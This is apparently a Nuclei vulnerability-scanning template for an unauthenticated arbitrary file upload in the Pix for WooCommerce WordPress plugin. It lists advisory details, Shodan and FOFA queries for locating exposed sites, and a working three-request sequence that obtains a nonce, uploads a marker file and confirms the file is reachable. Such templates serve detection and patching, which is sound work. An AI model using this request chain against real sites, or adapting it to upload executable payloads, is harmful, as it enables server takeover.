id: CVE-2026-3891 info: name: Pix for WooCommerce <= 1.5.0 - Unauthenticated Arbitrary File Upload author: m4sh_wacker severity: critical description: | The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. impact: | Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise. remediation: | Update to the latest version of Pix for WooCommerce plugin. reference: - https://github.com/m4sh-wacker/CVE-2026-3891-Pix-for-WooCommerce-Plugin-Exploit - https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-3891 epss-score: 0.2506 epss-percentile: 0.97789 cwe-id: CWE-434 cpe: cpe:2.3:a:linknacional:payment_gateway_pix_for_woocommerce:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: linknacional product: payment_gateway_pix_for_woocommerce framework: wordpress shodan-query: http.html:"/wp-content/plugins/payment-gateway-pix-for-woocommerce" fofa-query: body="/wp-content/plugins/payment-gateway-pix-for-woocommerce" tags: cve,cve2026,wordpress,wp,wp-plugin,woocommerce,file-upload,unauth,intrusive,rce flow: http(1) && http(2) && http(3) variables: marker: "{{randstr}}" fname: "{{rand_base(8)}}" boundary_id: "{{rand_int(100000, 999999)}}" http: - id: step-1 method: POST path: - "{{BaseURL}}/wp-admin/admin-ajax.php" headers: Content-Type: application/x-www-form-urlencoded body: "action=lkn_pix_for_woocommerce_generate_nonce&action_name=lkn_pix_for_woocommerce_c6_settings_nonce" matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, '\"success\":true')" condition: and internal: true extractors: - type: json name: nonce internal: true json: - ".data.nonce" - id: step-2 raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}} ------WebKitFormBoundary{{boundary_id}} Content-Disposition: form-data; name="action" lkn_pix_for_woocommerce_c6_save_settings ------WebKitFormBoundary{{boundary_id}} Content-Disposition: form-data; name="_ajax_nonce" {{nonce}} ------WebKitFormBoundary{{boundary_id}} Content-Disposition: form-data; name="certificate_crt_path"; filename="{{fname}}.crt" Content-Type: application/x-x509-ca-cert {{marker}} ------WebKitFormBoundary{{boundary_id}}-- matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, 'Settings saved successfully')" condition: and internal: true - id: step-3 method: GET path: - "{{BaseURL}}/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/{{fname}}.crt" matchers-condition: and matchers: - type: word part: body words: - "{{marker}}" - type: status status: - 200 # digest: 490a0046304402200827944a9d337e2b7685ab0f9c96ccf4dfbe00182f22a593d9efb65662565e610220674eb0ad78517a1a99d5ed63da806dba97998d00147e24ddf91960c999f9a9bb:922c64590222798bb761d5b6d8e72950